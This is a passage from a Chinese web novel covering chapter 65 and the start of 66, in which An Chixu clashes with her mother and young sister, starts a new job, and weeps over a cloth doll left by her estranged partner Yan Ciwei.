而我们的团,很瘦,像竹竿子。骨架子还不小,不然没那么高。以前被晏辞微养着倒是健康,吸收依旧有问题不过各方面数值都很正常,看起来也很普通,现在一个人过,给过成轻微营养不良了。她站在晏辞微旁边,比晏辞微高一点,也会觉得她更小只,像妈咪带崽()。当然视觉上的小只也有性格上内敛的因素在。 另一个有趣的小细节,本人在约稿的时候没有给画师描述过团团平时有点呆,性格写的是安静内敛,但每一个画师手里的团都很呆,尤其约同一个画师画团和姐,姐就是超A御姐,团就是呆猫[让我康康]们团呆已经是底层逻辑了 但猫这种生物本来也是,养过就知道,少数时候会觉得她们灵巧聪明,大多数时候都很呆,愣愣的,灵魂出窍了,和你有互动的时候也呆,不知道在想什么,很神秘。和狗不一样,狗看起来就是笨,没脑子,或者说脑子里只有简单代码,吃和出去玩。 第65章 第 65 章 她送给晏辞微的布娃娃(…… 安迟叙抬头看了好久啊。 久到同样仰望着她的安绾瑶脖子都酸了。耐心也没了。 安迟叙还在看。 蝴蝶早就飞走了。安迟叙的眼也跟着风起舞, 跌跌撞撞的扑向天空,离开安迟叙的身体。 她的渴望藏不住,顺着眼光肆意流出。 安绾瑶无趣的想着。也许她姐姐要起身去追那只纸折的蝴蝶。 影视作品都这么演的。每个人有了这样的眼神, 下一步都会迈出腿, 先是小碎步,然后跨大步加速。 当然,没有谁最后追上了。 安绾瑶喜欢看电影电视。早几年叫得出名字的片她看了一遍又一遍。 她不能理解为什么所有人明知道追不上还要启程,就像她不理解为什么姐姐对着纸折的蝴蝶都能出神这么久。 她还太小,没见过这个世界, 对人事物的理解七扭八歪。 她只知道自己不想等, 想快点做完作业, 刚准备出声唤醒安迟叙。 如果安迟叙这时迈步。她会被安绾瑶拉住。 可安迟叙只是收了眼神。 她看着手里的卡纸, 忽然加速。 一只蝴蝶。 五只、十只蝴蝶。 安绾瑶就带了这么点红色卡纸, 安迟叙就要把它用完了。 “诶,安迟叙!”安绾瑶出手阻拦。 卡纸不便宜。安予笙的经济状况不是特别好,工作有一茬没一茬的,似乎是靠和好几个人维持关系来供养家庭。 红色的卡纸最漂亮也最昂贵。平日安绾瑶哪里舍得用这么多。 她想着安迟叙是她姐姐。十年不见, 却血脉相连, 不停被母亲提起,如影随形的姐姐。这才把卡纸拿出来给她。 怎么可以这么用呢。安绾瑶有点生气, 把纸抢了回来。 “安迟叙, 你能不能给我折别的?比如纸鹤、蚂蚱、钻石?”安绾瑶换了白色的草稿纸,拿给安迟叙。 安迟叙看见白色,不动了。她只有折红蝴蝶的肌肉记忆, 哪儿会别的。 这会儿停手,她才注意到她刚刚折了多少。 本来以为都忘了。 红色卡纸放在手里,就会变成蝴蝶。 晏辞微一样的蝴蝶。她们都在她手里开得炙热。 “我不会。”安迟叙放下白纸。 安绾瑶撇着嘴, 不太满意。“试试嘛。” 安迟叙不擅长拒绝,抬手折出四不像——蝴蝶一样的蚂蚱。长不长短不短的,翅膀畸形,丑得厉害。 安绾瑶扑哧笑出声。她的笑声有害,带着嘲讽的意味,源源不断的送进安迟叙的耳朵。 安迟叙将四不像撕了。笑声骤然停止。 “你怎么不自己折?”安绾瑶明显是会的。 安迟叙怪平静的。她寻常也是如此,对谁都不太有情绪。 安绾瑶和她不熟,看她冷着脸,汗毛都立了起来。 “不是你说要帮我吗?”安绾瑶声音小了下去,怯怯的。 只有这个时候她看起来和安迟叙最像。她们都会拉人衣角,轻轻扯着撒娇。扮无辜或者求饶。安绾瑶是前者,安迟叙是后者。 安迟叙闭了下眼睛。 安绾瑶和想象中不一样。和昨天初见时也不一样。 这个小孩十岁了。现在十岁的小孩比安迟叙那时想法多多了,也更成熟,可能什么都明白。 可能安绾瑶就是故意想嘲笑她。 安迟叙努力缓和着情绪。 安绾瑶比想象中更会看眼色,见安迟叙周身气场淡了,就把折纸书拿出来放在安迟叙手里。 “安迟叙~学点别的嘛,之后我们一起折。” 她可真会见缝插针。 安迟叙没睁眼时想。 安绾瑶用这一招一定对付了很多人。朋友、老师,甚至安予笙。 偏偏安迟叙这位亲姐姐,不为所动。 她看安绾瑶的撒娇就像在看自己。看安绾瑶的投机取巧就反胃。 安绾瑶竟是靠这种招数,过的这么好。 安迟叙慢慢睁开眼,起身的动作毫不犹豫。 “不学了,我没时间。放学来接你。”她把安绾瑶的书包提在手里,顺带掌着安绾瑶的背,将小朋友送进校门口。 不忘给她留红蝴蝶。 安绾瑶扒在校门口呆呆望了好久,隐隐约约明白为什么会有人知道追不上,还想抬起腿。 可她是安迟叙的亲妹妹。她们被同一个母亲用不同的方式抚养大,骨子里的血却是一样的。 安绾瑶没有走出校门。 她往自己的教室走,摊开掌心数蝴蝶。 一三五七九…… 安迟叙折了十只,给了她九只。 安绾瑶把蝴蝶胡乱塞回衣兜里,也不管它们皱不皱,随意跟身边的同学打过招呼,开始认识了新朋友。 * * * 安予笙不会带孩子。 否则,安绾瑶不会这么会看人脸色。 更不会如此蛮横的见缝插针,胡搅蛮缠也要达成自己的目的。 安迟叙从未如此清晰的认识到这一点。 回家路上她又在踢石头。 二十五岁的人了,身边一个人都没有,还只会和石头玩。 十年到底改变了什么。安迟叙自己也有些说不清了。 鹅卵石带了点镜面感。飞在空中倒映出安迟叙的面庞。 安迟叙定定看着它,磨砂的质感让自己的脸变得模糊不清。 安迟叙看不清自己。 石子落回地面。安迟叙到了地铁站。 她呼出一口气,把安绾瑶暂时排出脑海。 今天还有面试,可不能再像以前一样搞砸。 现在,没有人给她兜底了,一切都靠她自己。 所有的境地都来自她自己的选择。 如果她选择晏辞微,此刻她应该闷在晏辞微怀里,听她讲这一天的事,再接一个甜甜的吻。 如果她选择回家,此刻她也能跟安予笙抱一下,再夸奖安绾瑶一句真聪明。 偏生她骨头硬情绪多敏。哪一个都将就不了。 只能站在人挤人的早高峰地铁里,和所有人一起低头。 有人低着头刻板的刷手机,有人闭着眼补觉。 安迟叙沉入其中变成毫无存在感的一员,抓着扶手随车厢轻微晃动,脑海里的不甘、埋怨,也慢慢被晃了出去。 大概,对自己负责是世界上最难的事了。 安迟叙连个埋怨的对象都没有。 进了面试公司。安迟叙这次投的是小型游戏公司的策划岗位,顶多算半个专业对口,但日安集团的名头实在响亮,收到简历这公司就给安迟叙打电话约面试时间了。 安迟叙也没想过短时间内能在事业上闯出什么名堂。不像以前还试图矫正娱乐圈人设至上的扭曲风气,真正开始生活以后,安迟叙只想干个温饱。 她工作是为了和社会接轨,再赚点口粮,生活这么累,没法为了理想。 面试是群面。安迟叙第一次接触这种形式的面试。 性格内敛不那么有优势,时间特殊,和她一起来的挺多是刚毕业的学生。 比起发展如日中天的s市,c市就业机会没那么多。这公司是挺小的,结果来面试的人还不少,随便一个都是双一流毕业的。 安迟叙好歹真干过两年职员,当过几个月组长。听了几个人的发言,慢慢找到了自己的节奏。 下午安迟叙有另一家企业的面试。一天内连续做了两场,结束时安迟叙有点累了。 看了眼时间刚刚好,安迟叙去安绾瑶的小学门口接她。 “安迟叙!”安绾瑶已经忘了早上的不愉快,手里捏着美术课刚画的陶瓷,朝安迟叙跑来。 “慢点。”安迟叙接住她,想小孩子忘性就是大。 也是。她们本来也没什么矛盾。在安绾瑶眼里可能就是姐姐莫名其妙生气,总归不该她苦恼。 那自己苦恼个什么劲儿。安迟叙牵起安绾瑶的手,听她讲这一天发生的事。 “晚饭一起吃嘛~”到家门口安绾瑶才发出邀请。 安迟叙已经准备离开了,安予笙拿着锅铲到门前,盯着安迟叙看。 安迟叙扫了安予笙一眼。 安予笙立即明白她的拒绝。满眼的不赞同,呵斥的话都到嘴边了。 安迟叙拧着眉又对上安绾瑶是眼。 安绾瑶满是期待。小朋友的期待最纯粹也最可怕,拒绝的话立即会被这双眼变成刀子,插向安迟叙自己。 换个时间安迟叙真有可能因为这两双眼留下。 她烦安予笙的喋喋不休,怕安绾瑶无意识的恶意。 但今天安迟叙真的累了。 她只想关注自己的事。 “我有准备,就不留了。明天来送你。”安迟叙没多给安予笙一根发丝。 也不给安绾瑶一句解释。 “姐姐……”安绾瑶果然变得好可怜,泪汪汪的看向安迟叙,声音委屈了一个八度。 “妈妈,你劝劝姐姐,我想和她一起吃饭。”见安迟叙不理,安绾瑶又把目光转向安予笙。 安予笙哪儿看得清那么多弯弯绕绕。她就想她大女儿太不懂事,不过是留下来吃个饭,家里有准备又能怎样?丢了不就是了。她还能害她不成。 “安迟叙,就吃个饭,你忍心看……” 门被甩上。 风把一大一小两个人的头发刮出碎发。如出一辙的杏眼僵在原地。 失去了表演的对象,气焰瞬间灭了。 “妈妈……”安绾瑶最小也最不知脸皮,牵住安予笙的衣角。 “不管你姐姐。她就这样,从小就没良心。咱们母女俩好好吃。” 安予笙最老也最要脸,把所有过错一股脑推到安迟叙身上。 可惜安迟叙吃不到她做的饭。 活该安迟叙吃不到她做的饭。 安予笙哼一声拽着安绾瑶进客厅,开始一节课一节课的问安绾瑶今天发生了什么。 安绾瑶低头吃着饭,小心翼翼把自己用泥巴糊同桌一裙子的事藏了起来。 * * * 安迟叙把夜跑加到半个小时。 给安予笙甩门的时候,她还有些忐忑。 跑了十分钟,那种扭捏的愧疚完全散了。 两双和她肖似的杏眼从她世界里消失,取而代之的是黄澄澄的夕阳。 安迟叙呼出一口气。一个人看夕阳竟是那么的不同。暖彩的颜色只是云,多一分的含义都不给。 但还是好看的,像一匹肆意泼洒的江。 安迟叙想自己成了追落日的人。她知道她永远追不上太阳,可能渴死在半路,可能靠得太近被烧焦。 但这一刻她想要迈步。这就够了。 “小姐姐,等我一下——”和一个女孩擦肩而过,安迟叙听见一个声音从身后传来。 “你是上午在烁点互动面试的人吗?”女生看着年纪不大,大学刚毕业的样子。 安迟叙点头,回忆了一会儿把她认出来。 “杜知棠?”这是面试里坐最左边的大学毕业生。 “你居然记了名字,好厉害……”杜知棠摸出了手机。“我们能加个微信吗?你也是住这附近的吧?” “认人的时候比较多。”安迟叙也就拿出手机扫码。 晚上回家,安迟叙收到杜知棠给她发的消息。 【安姐,你对白天的面试有信心吗?】 【不太在意。】安迟叙打完发过去,沉在沙发里,把挑出来的综艺继续播放。 放到一半她忽然起身翻找行李。 在角落捉出一只银色的素戒。 想了想,戴在左手中指上。 * * * 一周后,面试过的五家公司里,三家都给了安迟叙offer。 安迟叙对比了一下几家的薪资,工作时间,通勤难度,最终选了烁点互动。 她给杜知棠说了这件事,两个人意外都选了烁点,以后可以一起上下班。 说这件事时,安迟叙刚看完小区群的八卦,点进团购群把想吃的水果下单了。 九点上班,八点半得出发。 安迟叙算了算时间,给安予笙去了一条消息。 【我找到工作了,以后没空送瑶瑶。】 然后关了声音,无视了安予笙不断打来的电话。 “安迟叙,你手机好像在响。”地铁站前,杜知棠看见安迟叙??跟她打过招呼,注意到了震动。 “不管。”安迟叙是这么说。 进了车厢安迟叙还是偷偷打开屏幕。 安予笙电话打不通,改发微信。 十五条六十秒的语音摆在屏幕上。安迟叙看一眼干脆给安予笙拉黑了。 短信在下一秒发了过来,语音转文字,错别字一堆。 安迟叙关上之前看了一眼。 【幺幺这么想你,你一点时间都搓不出来吗?你是什么工作上工这么早?】 【她八点之前到学习啊,你八点八上班?】 【持续,你讨厌妈妈,妈妈都不说什么了,你不应该把我们的抽转移给幺幺啊,她才十岁,她好不容易等到你回来,想多跟你相处一段时间都不行吗?】 【晚上呢?晚上也没法从单位出来吗?半个小时的事,就接一下一下瑶瑶。】 【哎呀你这没良心的,你妹妹一直在哭,问我是不是她做错事让你讨厌,你就这么狠心】 现在短信还能发照片。安迟叙疏忽了,一张照片飞进来。 安绾瑶哭得好厉害,整个脸都红惨了,血淋过头一样,怪丑。 安迟叙拧着眉把安予笙的电话号码也拉黑,终于清净。 “怎么了?”杜知棠看她脸色不好,关切一句。 “家里的事。”安迟叙捏着手机情绪更差。 她不禁在想。 凭什么安绾瑶想要什么,就有安予笙撒泼打诨的替她闹? 她安迟叙不想做的事,都得被逼着做,道德绑架几十句话。 还好啊。 安迟叙已经开始适应一个人的生活。 拉黑了安予笙,她这个号也不至于没有好友。 小区群认识的邻居,夜跑群群友,团购加上的网友,还有杜知棠这样面试认识的。 安迟叙加的人挺多了。数一数竟然有二十来个。 她看了一眼置顶的红色感叹号,也没换成别人,就这么把手机放进衣兜。 杜知棠很有分寸的没多问,报道完两个人不在同一个部门,杜知棠就问她晚上要不要一起吃饭。 安迟叙没多思考。把安予笙放出来一秒,告诉她晚上要加班,之后都接不了安绾瑶,就把人拉黑回去了。 此后一周多,只有平凡的日常。 似乎,安迟叙快忘了置顶的那个人。生活里没有她,安迟叙也能就这样过下去。 生活是枯燥乏味的循环。安迟叙主动给自己找起事来。 “今天要去舞蹈班?你好厉害,上完班居然还有力气跳舞。” 杜知棠工作一周,明显被吸了精气,这会儿看起来和当组长那段时间的安迟叙差不多。 安迟叙摸了下自己的脸,她还长了点肉。 “今天不去,明天去。每周四的课。习惯了也就还好吧?现在工作强度没有以前十分之一大。”安迟叙说着打开了导航,要去新发现的餐厅吃饭。 她们还喊上了两个同事,那两个人要晚一点,安迟叙就先带杜知棠去占位置。 “那你以前也太苦了。996?”杜知棠垮下脸,几近崩溃。 “可能,早八点半晚十二,一周七天?”很多时候安迟叙是主动加班。现在不会了,她不想干就丢那儿,是办公室著名的咸鱼。 “……难怪。你是回来养老的,我看出来了。”杜知棠扫过安迟叙手上的戒指,还是没问出来。 安迟叙上班准时,下班后各种活动排满了,又是夜跑又是舞蹈班,周末还会去玩桌游,平时也没听她说过对象,但每天都能看见她中指的戒指。 听说是热恋期的意思。杜知棠不太能相信,猜安迟叙是为了躲麻烦。 安迟叙笑了一声。隔会儿带着杜知棠拐进饭店,把菜单发在四人小群里,让另外两个点。 和杜知棠没聊两句,一个人影忽然靠近。 她一来就拍了安迟叙的桌子,火气从拍出的空气不管不顾地洒向四周。 安迟叙声音停在半空。 她抬头去看。 看见了安予笙。 安予笙身后还站了个挺陌生的中年女人,想来是安予笙的情人之类。 安迟叙往旁边挪了点避开她的呼吸。 “安迟叙,你不是说要加班没时间吗?有空在这儿吃饭,没空来接你妹妹?” 安予笙看见安迟叙毫无“悔改”之心,火气更盛,热浪扑向安迟叙的脸,热得她发臊。 安迟叙看了一眼杜知棠。杜知棠果断挪去厕所。 安迟叙这才把眼甩向安予笙。 “安予笙。有一点我必须要强调。安绾瑶是你女儿,不是我女儿。” 尽管她们有一样的血。尽管她们有一样的姓。尽管她们的年龄差距就有这么大,再多几岁,安迟叙真能成安绾瑶的母亲。 但安迟叙终究不需要对安绾瑶负责。 “说的好像那不是你妹妹一样。你就不能多疼疼她?她十年没见你,这几天跟我哭的眼睛都痛了,你怎么好意思在这儿跟同事吃饭?”安予笙的怒火来的莫名其妙。 安迟叙就坐着,都不愿站起来跟安予笙吵。 顶多,给她一寸目光。 “接送她上下学,应该是你的事。如果你没有空,可以请保姆。或者找她的同学、家长帮忙。我没有义务接送她,也没有义务哄她开心。”安迟叙静静的开口,眉眼没有波澜。 这股淡漠叫安予笙更重了语气,仿佛安迟叙的存在就是一个错误,不断点燃她埋藏多年的炸药。 “她想你,你怎么就不能多陪陪她?她和你血脉相连,同事能是你谁?能陪你多久,小心她们背后咬你,害你一辈子。” 安予笙越说越来劲,好像安迟叙是个负心女,白眼狼。 她声泪俱下,一定要讨伐安迟叙,叫她被众人唾弃,一万个人的唾沫淹死才行。 安予笙甚至颤抖起来,真有眼泪从脸上扑下去。 “你就一定要惹我生气,一定要惹她伤心。多抽半个小时而已,你不是会车吗?接送一下都不行,她是你妹妹啊。” 安迟叙听见“会车”两个字,干脆不回话了,定定的看向安予笙。 她不曾告诉过安予笙她会车。 可除了她和安绾瑶两个女儿,安予笙还生过谁? 安迟叙有股诡异的感觉。 安予笙跟她吵架。 就好像十多年前和伴侣吵架。 那时安予笙也会这样突然开启一个话题。指责安迟叙的妈咪做的不好,不管孩子,不够关心安迟叙。 尽管,那个伴侣是挺糟糕,安予笙自己也没尽责。她一定要哭得好像伴侣负了她,连她们共同的女儿都不要。 眼看着安予笙越说越狠,整个餐厅都在往这边看。安迟叙按着太阳穴不得不开口反驳。 “你怀她的时候,我在高一。你不仅怀她不问我,那几年你也不怎么管我。我小学开始回家一直挨饿你知道吗?她出生我当然也该不知道,我要是继续被你养着,早死街头了。” 谁还没个惨字。 只是安迟叙回忆起来,这些事已经苦不到她了。 她不再像十五岁离家的那年,会倒在雨里痛哭。不再像十岁那年期待安予笙回家,会跟在她身后等一次抚摸,一句慰问。 安迟叙想,她真的从安予笙的阴影里走了出来。 琐事只剩烦。 安迟叙还没开口继续。 安绾瑶不知什么时候出现在安予笙背后。 也许她一直都在,跟着安予笙来吃饭,听着安予笙发怒,看着安迟叙和母亲针锋相对。 也许这一场争吵就是安绾瑶引发的。她诱导她的母亲生气,来达成自己想要的结局。 安迟叙抿着嘴对上安绾瑶的眼。 却在那里看见单纯的泪。 只有泪。安绾瑶没见过发怒的母亲,更不知道安迟叙的过去。她的泪成泄洪的浪涛,劈里啪啦将她整张脸盖住。 十岁的孩子怎么可能那么有心机。 她遇到大事只会哭。哭得上气不接下气,哭得不知所措,哭得把自己缩进角落颤抖不止,哭得一句话都不会再说,病痛悲喜都藏起来。 安迟叙最知道这一点。 是她错怪了安绾瑶。安绾瑶最多只是一个没被教好的孩子。今天这一出十分有九点九分都是安予笙的错。 “我最多只能早上送你去。”安迟叙心软了,松了口。 她曾经也不过是这么一个哭得凄凄惨惨,把心肺都呕出来的十岁孩子。 在她十岁的时候没有人能救她。 安绾瑶的十岁却可以不一样。 大概吧。 安迟叙心脏动了动。她在共情安绾瑶的眼泪。 “那晚上不能吗?”安绾瑶还在哭。 孩子的哭没那么容易止住,哪怕事情变好了,她也没法立即停下,抽噎成一串一串的哽咽,气在喉头打转。 “你放学的时候我都没下班。”安迟叙默了一瞬。 她才是那个有心机的成年人。比如此刻,她会引导安绾瑶说出她想要的话。 “难道你不想妈妈陪你吗?你朋友的妈妈应该也挺想她的朋友吧?” 安绾瑶抹着脸果然点头。“那早上姐姐,晚上妈妈。” 她把自己安排好了。 安予笙的嘶喊成了笑话。 她怪无措的抓着安绾瑶的手,想早知道让安绾瑶自己给安迟叙哭。 又想凭什么安绾瑶出面安迟叙就能答应。 又想安迟叙这么不听自己的话,果然叛逆的不像样子。 她真的恨安迟叙,这人心里还没半点责任感,之前生病也不来看她,真养废了。 送走情绪平缓下来的安绾瑶,安迟叙摊在餐厅椅子上,给杜知棠发消息。 她把她那份菜打包带走了,没心情和三个人继续聚餐,回了家。 翌日早上,安迟叙在安予笙家门口把妹妹接走,对上安予笙似乎后悔,欲言又止的表情,没多留一分钟。 安迟叙换了件红裙,今天没有牵着安绾瑶,叫她自己抓着衣摆。 安绾瑶走走停停,一点不担心被安迟叙甩掉。 “安迟叙,妈妈昨天好生气。”走了一半,安绾瑶看够了路上的蜘蛛,跟紧安迟叙,这才注意到她们没有牵手。 安绾瑶把手伸过去。 安迟叙看了她一眼,不得不抓住她的手。 “你不知道你的来历。你也不知道她过去是什么样。她就这样,脾气差。”安迟叙说的很缓。 她很少在别人面前说谁坏话。尤其安绾瑶和安予笙是母女。 “妈妈也这么说你。”安绾瑶就觉得奇怪。怎么会母女互相厌恶彼此? 她和妈妈关系多好啊。安迟叙不能也这样吗? “安迟叙,你要不要给妈妈道个歉?她昨晚念了一晚上你。”安绾瑶拽着安迟叙的裙摆轻晃。 她只知道惹人生气要道歉。她还分不清是非黑白。 安迟叙的步子停了。 “凭什么?”她冷了脸,罕见流露出些许情绪。尽管眉眼还平得和直尺一样,眼神骤然冷掉。 “可,可她生气了……”安绾瑶张了下嘴。她好像做错事了,惹姐姐不开心。 “我也生气啊。”安迟叙就差给安绾瑶冷笑一句。 “那我,我给姐姐道歉……”安绾瑶有点慌张。 而安迟叙,将她的手从裙摆上拿了下来。 “你和她真挺像的。”一样自来熟死脑筋,一样不懂是非推卸责任,一样不择手段达成目标。 安迟叙没有看安绾瑶,也就不知道安绾瑶此刻咬唇欲哭的表情多可怜。 安迟叙的情绪却收敛多了,恢复无光的眼,一片漠然。 “也对。你是她带出来的孩子。”安迟叙垂着眸笑了。 晏辞微永远是对的。 她不该回家,或者说,c市。 换一座城市都好。 可离开晏辞微的那一刻,安迟叙只想回家。 她这辈子只有过两个家。不回晏辞微的,就只能回安予笙的。 现在,她大概一个家也没有了。 “姐姐?”安绾瑶也停在原地。 她发现自己好像没有办法那么喜欢安迟叙。 安迟叙要成为她这辈子第一个不太喜欢的人了。 “你想要什么,永远不会分清该不该行不行,只会去闹。你和她一样。”这句话对十岁的小孩来说也许太过了。 安迟叙看着安绾瑶,就好像在看安予笙。 “你想要的事你不去坚持?你不去说?”安绾瑶也被惹生气了。现在她想要安迟叙给她道歉。 “你不说别人怎么知道?我现在就很,很生气。你应该给我道歉。”安绾瑶捏着小拳头站在原地。 “你连我为什么这么说都不知道。也是,你还这么小。她不教你,我教。什么事只要你想,你就去闹,一定要得到。这不叫争取,叫自私,胡搅蛮缠。”安迟叙低下头看向安绾瑶。 “譬如我不想来接你。你一定要哭到安予笙给我打电话拍照发消息。逼我回来做我不想做的事。” 安绾瑶满是泪的眼也皱了。“有什么不好?为什么不能来接我?你还没跟我道歉……你难道也不喜欢我吗?你明明是我姐姐……” 安迟叙看见了学校的校门。 她想她是不喜欢安绾瑶。再不公平,她也看不惯安绾瑶什么都比她得到的多。 母亲的爱,朋友,美好的童年,天真的性子…… 她不过留了一线温柔。 “这和喜不喜欢无关。我只是不想做。去上学吧。”安迟叙把想咬人的小朋友丢进了校门。 下班后安迟叙翘了舞蹈课,回家把昨天的剩饭热来吃。 中指的戒指在落日余晖下闪着光。 终于把安迟叙的眼刺痛。 她深吸一口气,想至少把一顿饭吃完。 吐气时浑身都在颤抖。她一口也吃不下。 这样的她,怎么能好好自己生活? 安迟叙摘下中指的戒指。一串字母印在指根。 Mommy。 安迟叙靠着椅背看戒指的反光随夕阳转着圈,影模糊了碗与米的边界。倒映出的自己愈发模糊。 鼻尖酸涩发胀。 安迟叙用力眨眼,干脆起身去洗衣服。 收衣兜的时候,在衣兜里发现那天折的红蝴蝶。 她自私留下的那一只,无论如何都不愿意给安绾瑶的那一只。 安迟叙把衣服丢进洗衣机,无力的按下开关。 洗衣机的嗡鸣阵阵响。窗外的夕阳斜起一撇落下。 夜把洗衣房变成纯粹的阴影。深蓝的墨色泼了安迟叙满头,把她渐渐淹没。 安迟叙兀地捂住脸。一行泪从手掌往外渗,挂在下巴上,滴到膝盖痛。 她不再会哭得一句话都不会再说,哭得把自己缩进角落颤抖不止,哭得不知所措,哭得上气不接下气。 她的泪比她这个人更沉默。悄无声息的渗透她的骨,痛钻了髓。 安迟叙在无声的颤抖中想起她的天真。 她以前以为,晏辞微是她生活不顺的罪魁祸首。 是晏辞微极端的管教,激进的照顾,窒息的爱毁了她。让她与外界隔绝,交不了朋友,做不到独立。 让她的生活七零八碎,只剩一个人的名字。 大半个月过去。 安迟叙的第二次尝试在今天跌入谷底。 她终于发现生活本来就不美好。所有事都能在一瞬间暴发,变得一团糟,拽着人下坠,摔得四分五裂。 反而因为晏辞微,她这一生只剩一个烦恼。 从前的责备不过是欺软怕硬。 因为晏辞微会接纳她,所以责怪着唯一无条件爱着她的人。 一个人生活好痛苦啊。 对自己负责好痛苦啊。 没有晏辞微的日子好痛苦啊。 安迟叙颤颤巍巍的起身,眼泪还在不停的掉。 她一路走,眼泪洒了一地,像案发现场的线索,像凄淋淋的血迹。 安迟叙好不容易跌到行李箱边上。 她怕自己再想念,把行李箱塞在床底。 这会儿狼狈的爬着,伸手去抓。 行李箱起了一层灰。安迟叙不管不顾的打开。 她知道的。 她知道晏辞微,她最了解这个人。 晏辞微舍不得她,肯定给她留了什么东西在行李箱里。 让她……找到吧。 找到她就会回去。 安迟叙输了自己的生日,抽开行李箱。 把带铃铛的鞋甩出去。鞋里面没有藏通讯机。 把冬天的衣服甩出去。衣服里没有塞手写信。 把洗脸的毛巾甩出去。毛巾里没有夹纸蝴蝶。 在哪儿? 在哪儿? 到底在哪儿? 安迟叙把行李箱翻了个底朝天。 终于在最深最深的内层找到了。 她送给晏辞微的布娃娃。 晏辞微把全部的自由还给她了—— 作者有话说:晏辞微,我好想你,没有你的团结好难写—— 嗯……我记得我纲里的刀没这么痛(顶锅盖)(逃跑) 原版是晏辞微把自己缝的那只留给了安迟叙,但写的时候觉得这样更好,更方便后面……(拉上拉链)(闭嘴) 晏辞微你个老贼,套路好深啊魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 65-70 第66章 第 66 章 把思念用力呕出来…… 和晏辞微交换布娃娃时, 安迟叙约莫十八岁。 刚刚步入大学,生活新鲜又轻松。 安迟叙背着晏辞微悄悄熬夜。在晏辞微去学生会时拿着针线一针一针的缝。 她做坏了两个,第三个才终于成型。 娃娃的五官是安迟叙亲手绣的。 这是最难的部分, 怎么都绣不像, 拆了重来无数次,好不容易像了,雀斑又不知道怎么点,索性拿颜料笔画。 安迟叙还给娃娃装了高温丝,晏辞微闲着没事可以给娃娃编头发、换衣服。还能从背后把棉花拆出去清洗、更换。 十八岁那年安迟叙没钱。经济来源是两个妈加起来一千块的生活费, 和晏辞微的爱。 手工制作的娃娃, 是她能力范围内最好的礼物。 她只是没想到晏辞微也悄悄给她做了一个。 两个娃娃一大一小, 摆在一起怪可爱的。 安迟叙把她们贴成亲亲的模样拍照, 周围摆满甜点和花朵, 好像这两只棉花娃娃是她和晏辞微的孩子。 “这是几岁的小团团?”晏辞微却觉得棉花娃娃是她们小时候的模样。 她抱着安迟叙的那只不放手,怀里还要塞下一整个十八岁的安迟叙。 她也不嫌挤,安迟叙也不嫌热,两个人贴在一起玩对大学生来说刚刚好的玩具。 安迟叙不答, 要晏辞微猜。其实她心里也没数, 是照自己现在的模样做的。 不过晏辞微要问,那这棉花娃娃还是变成小团团吧。 “十岁?”晏辞微捏着棉花娃娃的脸, 真开始给她梳头发。 安迟叙就知道晏辞微喜欢给她梳头, 扎各种小辫子,好像她真的是晏辞微的女儿。 选高温丝还是选对了。哪怕比起普通的毛毡贵,还难缝。 “五岁吧?”安迟叙就眨了个眼, 晏辞微就编好两个麻花辫,进入下一步了。 “这么小,那也太可爱了。”晏辞微顺利编好辫子, 两股低双马尾摇摇晃晃的可爱。 晏辞微还没见过五岁的小团团呢,她捏着团团娃娃想亲。安迟叙偏不让。 棉花娃娃只能亲棉花娃娃。安迟叙拿着晏辞微的娃娃和自己的贴在一起。晏辞微吻上她的耳朵尖。 “姐姐呢?”安迟叙怀里也一直抱着晏辞微娃娃。 都是棉花娃娃,晏辞微的这只明显大一团,腿也长,比例不一样。 她们就两只娃娃,还要买不同尺寸的衣服。拿到礼物之后安迟叙笑她们做之前不商量。 “十二吧。”晏辞微把自己的娃娃腿掰正。她的可以坐,安迟叙的只能被她抱着。不也挺好。 “那姐姐是小团团的大姐姐。正好照顾她。”安迟叙被晏辞微说服,开心了一整天。 后来长大,分开,重逢。 安迟叙才明白她们各自为娃娃选的年龄有什么含义。 不过是她们遇到彼此前,生命中最好的年纪。 十二岁那年晏辞微上初中,住校逃离母亲的高压,姐妹的攀比。 五岁那年安迟叙家庭还没有遇到变故,妻妻和睦,经常带她出去玩。 此刻安迟叙坐在地板上,四周一片凌乱。 东西被她扔的到处都是。房间成了废墟,在月色下更显灰败。 掌心,是她给晏辞微的棉花娃娃。 是五岁的她。 是遇到晏辞微之前最快乐的她。 安迟叙颤着手抚过棉花娃娃的脸、身体。 她以为,晏辞微早就把她的娃娃扎坏了。 她以为晏辞微恨她两年,清理过她送的礼物。 可这只娃娃保存的太完好。和新的没有差别,就连本该从肤色氧化成黄色的布匹,也依旧是亮白的粉。 头发也盘的好。 不是晏辞微第一次给娃娃梳头的发型。 是晏辞微第一次给安迟叙梳头的发型。 衣服还是新的。不知道晏辞微什么时候缝的,阵脚很细致,和十八岁那年完全不同,看得出熟稔。 安迟叙迟缓的把衣服解下来。 不像安迟叙忙得昏头,忘了s市夏季多雨潮湿,晏辞微的棉花娃娃发过霉。 她自己的这只娃娃就连身体也没有伤。棉花还是新换的,洗过,带着茉莉的清香。 所以晏辞微春天时扎的,约莫是她自己。 原来晏辞微最恨的人,是她自己。 安迟叙终于在棉花娃娃身上看清了自己的模样。 五官小巧,点着雀斑,脸蛋有些圆乎,一身上下都被照顾的很好。 被晏辞微照顾的很好。 一滴泪浸湿了棉花娃娃的脸。 然后倾盆。 像要毁了这只娃娃一样。 安迟叙只让眼泪在娃娃身上落了一秒。她赶紧把娃娃丢开,捂着脸,却没法把眼泪丢开。 她想把自己也丢开,怎么也没法在废墟里站起来。 安迟叙干脆躺下去,倒在晏辞微给她准备的衣服堆里。周身还有鞋子、漱口杯、洗脸巾…… 不好。 五岁不好。 安予笙不好。记不起名字的妈咪也不好。 过生日时的皇冠不好,一起去的乐园更不好。 那什么好?安迟叙捂着脸,明明最清楚这个答案。 “姐,姐。”她哑着嗓子喊出她的唯一。 “姐姐,姐姐……”姐姐很好。 母亲不好,妈咪不好,妹妹也不好。 只有姐姐好。 晏辞微,她告别的代理妈咪。她永远的姐姐。才是最好的。 “好想你……”安迟叙的声音几乎散在抽噎里。 连轻飘飘的月光,都能随意带走它。 安迟叙再说不出话。她大口喘着气,把思念用力呕出来。 把晏辞微的名字念了一千遍。 再在晏辞微永远不会出现的世界里睡去。 * * * 安迟叙再睁眼,发现自己躺在床上。 她双目酸胀,视野模糊。眨了好几下后终于清晰,白晃晃的光从窗帘路过,打在天花板上。 已经是早上了。 安迟叙坐起来,按住哭痛的头,想。 她记得她昨天太累了,几乎哭晕过去,倒在地上。 睁眼竟然在床上。 难道是夜里上厕所,顺便挪回了床上? 安迟叙一阵迷离,脑海里似乎有这样的记忆。 